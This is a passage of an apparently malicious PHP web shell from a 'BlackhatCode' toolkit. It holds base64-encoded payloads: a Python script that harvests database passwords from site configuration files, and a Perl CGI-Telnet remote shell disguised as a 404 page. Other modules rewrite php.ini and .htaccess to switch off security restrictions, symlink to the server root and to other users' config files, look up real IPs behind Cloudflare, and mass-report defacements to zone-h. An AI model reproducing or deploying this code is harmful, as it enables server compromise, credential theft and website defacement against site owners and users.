aW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
$file = fopen("cp.py","w+");
$write = fwrite ($file ,base64_decode($cp));
fclose($file);
Chmod("cp.py",0755);
$url = $_POST['url'];
echo"<br><center>
<textarea class=\"inputzbut\" cols=\"140\" rows=\"20\" name=\"usernames\">";
system("python cp.py $url config");
unlink ('cp.py');
echo"</textarea>
</center>";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['matikan']=='sekatan'){
@error_reporting(0);
$phpini =
'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
$file = fopen("php.ini","w+");
$write = fwrite ($file ,base64_decode($phpini));
fclose($file);
$htaccess =
'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
echo "<hr><center><b>DONE!";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
?>
<br><form method="POST" target="_blank">
<strong>
<input class="inputzbut" name="page" type="hidden" value="find">
</strong>
<table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
</strong></center></td>
</tr><center>
<tr>
<td>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<td valign="top" bgcolor="" class="style2" style="width: 139px">
<strong>Username :</strong></td>
<td valign="top" bgcolor="" colspan="5"><strong><textarea class="inputzbut" cols="40" rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="" class="style2" style="width: 139px">
<strong>Password :</strong></td>
<td valign="top" bgcolor="" colspan="5"><strong><textarea class="inputzbut" cols="40" rows="10" name="passwords"></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="" class="style2" style="width: 139px">
<strong>Type :</strong></td>
<td valign="top" bgcolor="" colspan="5">
<span class="style2"><strong>Simple : </strong> </span>
<strong>
<input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
<font class="style2"><strong>/etc/passwd : </strong> </font>
<strong>
<input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
</strong>
</span>
</td>
</tr>
<tr>
<td valign="top" bgcolor="" style="width: 139px"></td>
<td valign="top" bgcolor="" colspan="5"><strong><input type="submit" class="inputzbut" value="Start">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="pass" type="hidden" value="password">
</strong>
<tr>
<td valign="top" bgcolor="" style="width: 139px"><strong>Url Config :</strong></td>
<td valign="top" bgcolor=""><strong><input class="inputzbut" size="35" name="url" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="" style="width: 139px"></td>
<td valign="top" bgcolor="" colspan="5"><strong><input type="submit" class="inputzbut" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="" class="style1" colspan="6"><strong>Info
Security</strong></td>
</tr>
<tr>
<td valign="top" bgcolor="" style="width: 139px"><strong>Safe Mode</strong></td>
<td valign="top" bgcolor="" colspan="5">
<strong>
<?php
$safe_mode = ini_get('safe_mode');
if($safe_mode=='1')
{
echo 'ON';
}else{
echo 'OFF';
}
?>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="" style="width: 139px"><strong>Disable Function</strong></td>
<td valign="top" bgcolor="" colspan="5">
<strong>
<form method="POST" target="_blank">
<strong>
<input name="matikan" type="hidden" value="sekatan">
</strong>
<?php
if(''==($func=@ini_get('disable_functions')))
{
echo "<font color=#00800F>No Security for Function</font></b>";
}else{
echo '<script>alert("Please See Below and Press >Please Click Here First..<");</script>';
echo "<font color=red>$func</font></b>";
echo '<tr><td valign="top" bgcolor="" style="width: 139px"></td>';
echo '<td valign="top" bgcolor="" colspan="5"><strong><input type="submit" class="inputzbut" value="Please Click Here First!">
</strong>
</td></tr>';
}
?></strong></td>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'zone'))
{
?><br><Form action="?y=<?php echo $pwd; ?>&x=zone" method="post">
<?php
$defacer='';
$display_details=0;
$method=14;
$reason=5;
error_reporting(0);
set_time_limit(0);
if(!function_exists('curl_init')){echo "<br><center>cURL Not Installed/Disabled.
";exit;}
$cli=(isset($argv[0]))?1:0;
if($cli==1){
$file=$argv[1];
$sites=file($file);
if(!file_exists($file)){echo "$file Not Found.
";exit;}
}else{
if(function_exists(apache_setenv)){
@apache_setenv('no-gzip', 1);}
@ini_set('zlib.output_compression', 0);
@ini_set('implicit_flush', 1);
@ob_implicit_flush(true);
@ob_end_flush();
if(isset($_POST['domains'])){
$sites=explode("
",$_POST['domains']);
}
if (file_exists($_FILES["file"]["tmp_name"])){
$file=$_FILES["file"]["tmp_name"];$sites=file($file);}
echo <<<EOF
<html><head><meta http-equiv="Content-Language" content="en-us">
<link rel="SHORTCUT ICON" href="http://s13.postimg.org/ce61v3yrr/firefox01_02.png">
<link href='http://fonts.googleapis.com/css?family=Handlee' rel='stylesheet' type='text/css'>
<body text="#00FF00" bgcolor="transparant" vlink="#008000" link="#008000" alink="#008000">
<div align="center"><pre>
EOF;
if(!isset($_POST['defacer'])){
echo <<<EOF
<form enctype="multipart/form-data" method="POST">
<div align='center'><span lang='en-us'><font color='white' face='Handlee'><b>Your Nick :</b></font></span><br/><input class="inputzbut" name="defacer" type="text" value="$defacer" /><br/>
<table width='55%' style='border: 0px solid silver; background-color: transparant;'>
<tr>
<td align='center'>
<span lang='en-us'><font color='silver' face='Handlee'><b>Domains :</b></font></span>
<p align='center'> <textarea rows='13' name='domains' cols='50' class='inputzbut'></textarea><br/>
<span lang='en-us'><font color='silver' face='Handlee'><b>OR</b></font></span><br/><font face='Handlee'>Submit form .txt file:</font><br/><input name="file" type="file" /><br /> <br/><br/><input class='inputzbut' type='submit' value=' Submit ' name='submit' ></p>
</table></td>
</tr>
</table></form>
EOF;
}
$defacer=$_POST['defacer'];}
if(!$sites){echo '</pre></body></html>';exit;}
$sites=array_unique(str_replace('http://','',$sites));
$total=count($sites);
echo "<BR>[+] Total Unique Domain: $total
";
$pause=10;
$start=time();
$main=curl_multi_init();
for($m=0;$m<3;$m++){
$http[] = curl_init();
}
for($n=0;$n<$total;$n +=30){
if($display_details==1){
for($x=0;$x<30;$x++){
echo'[+] Adding '.rtrim($sites[$n+$x]).'';
echo "
";
}
}
$d=$n+30;
if($d>$total){$d=$total;}
echo "=====================>[$d/$total]
";
for($w=0;$w<3;$w++){
$p=$w * 10;
if(!(isset($sites[$n+$p]))){$pause=$w;break;}
$posts[$w]="defacer=$defacer&domain1=http%3A%2F%2F".rtrim($sites[$n+$p])."&domain2=http%3A%2F%2F".rtrim($sites[$n+$p+1])."&domain3=http%3A%2F%2F".rtrim($sites[$n+$p+2])."&domain4=http%3A%2F%2F".rtrim($sites[$n+$p+3])."&domain5=http%3A%2F%2F".rtrim($sites[$n+$p+4])."&domain6=http%3A%2F%2F".rtrim($sites[$n+$p+5])."&domain7=http%3A%2F%2F".rtrim($sites[$n+$p+6])."&domain8=http%3A%2F%2F".rtrim($sites[$n+$p+7])."&domain9=http%3A%2F%2F".rtrim($sites[$n+$p+8])."&domain10=http%3A%2F%2F".rtrim($sites[$n+$p+9])."&hackmode=".$method."&reason=".$reason."&submit=Send";
$curlopt=array(CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.16 (KHTML, like Gecko) Chrome/18.0.1003.1 Safari/535.16',CURLOPT_RETURNTRANSFER => true,CURLOPT_FOLLOWLOCATION =>true,CURLOPT_ENCODING => true,CURLOPT_HEADER => false,CURLOPT_HTTPHEADER => array("Keep-Alive: 7"),CURLOPT_CONNECTTIMEOUT => 3,CURLOPT_URL => 'http://www.zone-h.com/notify/mass',CURLOPT_POSTFIELDS => $posts[$w]);
curl_setopt_array($http[$w],$curlopt);
curl_multi_add_handle($main,$http[$w]);
}
$running = null;
do{
curl_multi_exec($main,$running);
}while($running > 0);
for($m=0;$m<3;$m++){
if($pause==$m){break;}
curl_multi_remove_handle($main, $http[$m]);
$code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
if ($code != 200) {
while(true){
echo' [-]Server Error!....Retrying';echo "
";
sleep(5);
curl_exec($http[$m]);
$code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
if( $code== 200){break 1;}
} } } }
$end= time() - $start;
echo '+++++++DONE+++++++';echo "
[*]Time Took: $end Seconds
";curl_multi_close($main);
if($cli==0){echo '</pre></body></html>';}
exit;
?>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'forbidden'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=forbidden " method="post">
<?php
// Extract php.ini //
$fp = fopen("php.ini","w+");
fwrite($fp,"safe_mode = OFF
Safe_mode_gid = OFF
disable_functions = NONE
disable_classes = NONE
open_basedir = OFF
suhosin.executor.func.blacklist = NONE ");
echo'<br><br><center>
<form method="post">
<b>Location :</b> <input class="inputzbut" type="text" name="file" value="/home/user/public_html/config.php" size="60"/>
<input class="inputzbut" type="text" name="ghostfile" value="config.txt" size="60"/>
<input class="inputzbut" type="submit" value="Do!" name="symlink" />
</form>
';
echo '<br><br><div class="tul"><b>PHP VERSION:</b> <font color="white" face="Salsa" style="font-size: 8pt">';echo phpversion();
$fichier = $_POST['file'];
$ghostfile = $_POST['ghostfile'];
$symlink = $_POST['symlink'];
if ($symlink)
{
$dir = "tamvan";
if(file_exists($dir)) {
echo "<br><br /><font color='red'>[+] Tamvan Folder Already Exist [+]</font> <br /> <br />
";
} else {
@mkdir($dir); {
echo '<br><br /><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Salsa;font-size:12px;color:white;>[+] Tamvan Folder Created [+]</b></b>';
echo '<br><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Salsa;font-size:12px;color:white;>[+] File Retrieved Successfully [+]</b></b><br />';
} }
// Extract Priv8 htaccess File //
$priv9 = "#Priv9 htaccess By BlackhatCode
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
DirectoryIndex $ghostfile
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
SetEnv PHPRC ".dirname(__FILE__)."/tamvan/php.ini
suPHP_ConfigPath ".dirname(__FILE__)."/tamvan/php.ini
";
$f =@fopen ('tamvan/.htaccess','w');
@fwrite($f , $priv9);
@symlink("$fichier","tamvan/$ghostfile");
echo '<br /><a target="_blank" href="tamvan/" ><font color="white" size"12">'.$ghostfile.'</a></font>';
}
echo'<br>';
?>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'rootpath'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=rootpath " method="post">
<?php
echo "<form method='POST' action=''>" ;
echo "<br><br><center><input class='inputzbut' type='submit' value='Bypass Now' name='blackhatcode'></center>";
if (isset($_POST['blackhatcode'])){ system('ln -s / blackhatcode.txt');
$fvckem ='T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw';
$file = fopen(".htaccess","w+"); $write = fwrite ($file ,base64_decode($fvckem)); $blackhatcode = symlink("/","blackhatcode.txt");
$rt="<center><br><a href=blackhatcode.txt TARGET='_blank'><font color=#00FF00 size=2 face='Salsa'><b>Open Root Path Here!...</b></font></a>";
echo "<br><br><center><font color=white size=2 face='Salsa'><b>Done.. !</b><br>$rt</center>";} echo "</form>"; ?>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'cloudflare'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=cloudflare " method="post">
<?php
echo '
<br>
<form method="POST"><br><center>
<b>Select Method : <b><select class="inputz" name="krz">
<option>FTP</option>
<option>Direct Connect</option>
<option>Webmail</option>
<option>cPanel</option>
</select>
<input class="inputz" type="text" name="target" value="Without HTTP://">
<input class="inputzbut" type="submit" value="Do!"></center>
';
$target = $_POST['target'];
# Bypass From FTP
if($_POST['krz'] == "FTP") {
$FTP = gethostbyname("FTP."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='white'>Correct IP Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$FTP</font></p>";
}
# Bypass From Direct-Connect
if($_POST['krz'] == "Direct Connect") {
$direct = gethostbyname("direct-connect."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='white'>Correct IP Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
}
# Bypass From Webmail
if($_POST['krz'] == "Webmail") {
$web = gethostbyname("Webmail."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='white'>Correct IP Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
}
# Bypass From Cpanel
if($_POST['krz'] == "cPanel") {
$cPanel = gethostbyname("cPanel."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='white'>Correct IP Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cPanel</font></p>";
}
?>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgishell'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=cgishell" method="post">
<?php
mkdir('cgishell', 0755);
chdir('cgishell');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgishell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IEZpbmFsIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+SW5kb25lc2lhbiBCbGFja2hhdCAtIENHSS1UZWxuZXQ8L2ZvbnQ+IjsNCg0KJFBhc3N3b3JkID0gImNhaHlvdGtqIjsJCQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVkIHRvIGVudGVyIHRoaXMNCgkJCQkjIHRvIGxvZ2luLg0Kc3ViIElzX1dpbigpew0KCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCglpZigkb3MgPX4gbS93aW4vaSl7DQoJCXJldHVybiAxOw0KCX0NCgllbHNlew0KCQlyZXR1cm4gMDsNCgl9DQp9DQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4NCg0KJFVuaXhDbWRTZXAgPSAiOyI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4NCg0KJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQNCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuDQoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQ0KCQkJCQkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQNCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlDQoJCQkJCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KJGNvbHM9IDE1MDsNCiRyb3dzPSAyNjsNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglteSAkZGlyID0kQ3VycmVudERpcjsNCgkkZGlyPX4gcy9cXC9cXFxcL2c7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxsaW5rIGhyZWY9J2h0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PVNhbHNhJyByZWw9J3N0eWxlc2hlZXQnIHR5cGU9J3RleHQvY3NzJz4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPg0KPHRpdGxlPjQwNCBOb3QgRm91bmQhPC90aXRsZT4NCg0KJEh0bWxNZXRhSGVhZGVyDQoNCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHl7DQpmb250OiAxMHB0IFNhbHNhOw0KfQ0KdHIgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAg